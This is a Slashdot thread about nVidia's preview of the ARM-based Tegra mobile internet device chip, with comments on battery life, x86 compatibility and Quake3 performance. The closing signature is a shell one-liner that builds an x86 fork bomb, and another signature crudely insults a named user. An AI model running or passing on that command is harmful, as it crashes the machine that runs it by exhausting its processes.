nVidia Preview 'Tegra' MID Platform
wild_berry writes "nVidia have previewed their Mobile Internet Device platform which will be officially unveiled at Computex in the next few days. The platform features CPU's named Tegra paired with nVidia chipset and graphics technology. Tegra is a system-on-a-chip featuring an ARM 11 core and nVidia's graphics technologies permitting 1080p HiDef television decode and OpenGL ES 2.0 3D graphics. Engadget's page has more details, such as the low expected price ($199-249), huge battery life (up to 130 hours audio/30 hours HD video) and enough graphics power to render Quake3 anti-aliased at 40FPS."
I've been waiting for ARM laptop thing. Real battery life! Why do I need x86 compatibility? Give me battery life every time.
I almost bought an Asus EEE pc this weekend, this is worth waiting to see how it is implemented in consumer devices. Give me a small laptop type that can run linux and I'll buy one or two. Heck, 30 or 40 hours would be enough battery time, don't need 100.
Kindness is the language which the deaf can hear and the blind can see. - Mark Twain
Patience...
Pandora comes...and it is looking like it's going to largely deliver on the "promises" it makes.
I am not merely a "consumer" or a "taxpayer". I am a Citizen of the State of Texas
Is that an auto-generated comment? Are you a bot?
The article is about a new processor for mobile devices. Asking if it supports ogg is like asking if your ethernet cable supports MP3.
A slashdotter who didn't build his own computer is like a Jedi who didn't build his own lightsaber.
Short answer: no.
Atom is x86 based (I think) whereas this is ARM-based. Vista isn't even ARM compatible.
Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
Over half the slashdotters here maybe?
Open source of course allows for more flexibility as well as a review for vulnerabilities.
I regret that I only have one mod point to give per post.
The CPU is one of the Cortex MPCores. Other devices with these IP cores at their heart use under 250mW (compared to 2-5W for Intel's 'low power' offerings). The GPU is likely to use more power when in heavy use, but I'd expect it to scale back well. For reference, the iPhone's GPU is almost identical to the 3D chip found in the Dreamcast, which got similar Quake 3 performance (note they don't specify a resolution for this).
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May it run Doom instead?
As for the resolution, I agree that it's rather strange that they left out the details on this, but we can assume that it's going to be something like 640x400, which is still very impressive.
Full Tilt
for those who actually enjoy RTFA'ing and want a bit more comprehensive info than a BBC fluff piece, nvidia's marketing page, and some pretty vids on engadget:
http://www.tgdaily.com/content/view/37729/135
The APX 2500 is far more interesting to me than the 600/650. Qualcomm and Broadcom better watch their backs.
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Meorah
It's at 800x480, and the Quake3 port was a quick hack to test the chip, not a serious performance-tuned effort (i.e. it isn't using the vertex shaders at all, and the pixel shaders are using a very crude translation scheme from Q3's shader language). I'm fairly sure I could get a tuned port to run 100's of frames/sec on the same hardware. More modern games (Doom3/Quake4) would actually run better, but we didn't have the source to play with (and the game datasets are probably a bit large for the platform).
I can sell you an isotopically pure copper Ethernet cable which I have personally tested for warm sound when streaming MP3s.
Normal price, $100 per foot. But I have a 50% discount for AVS Forum posters. And special this month I'll throw in an ethernet cable impedance tester to tell you when you need to replace your cables due to oxidation.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;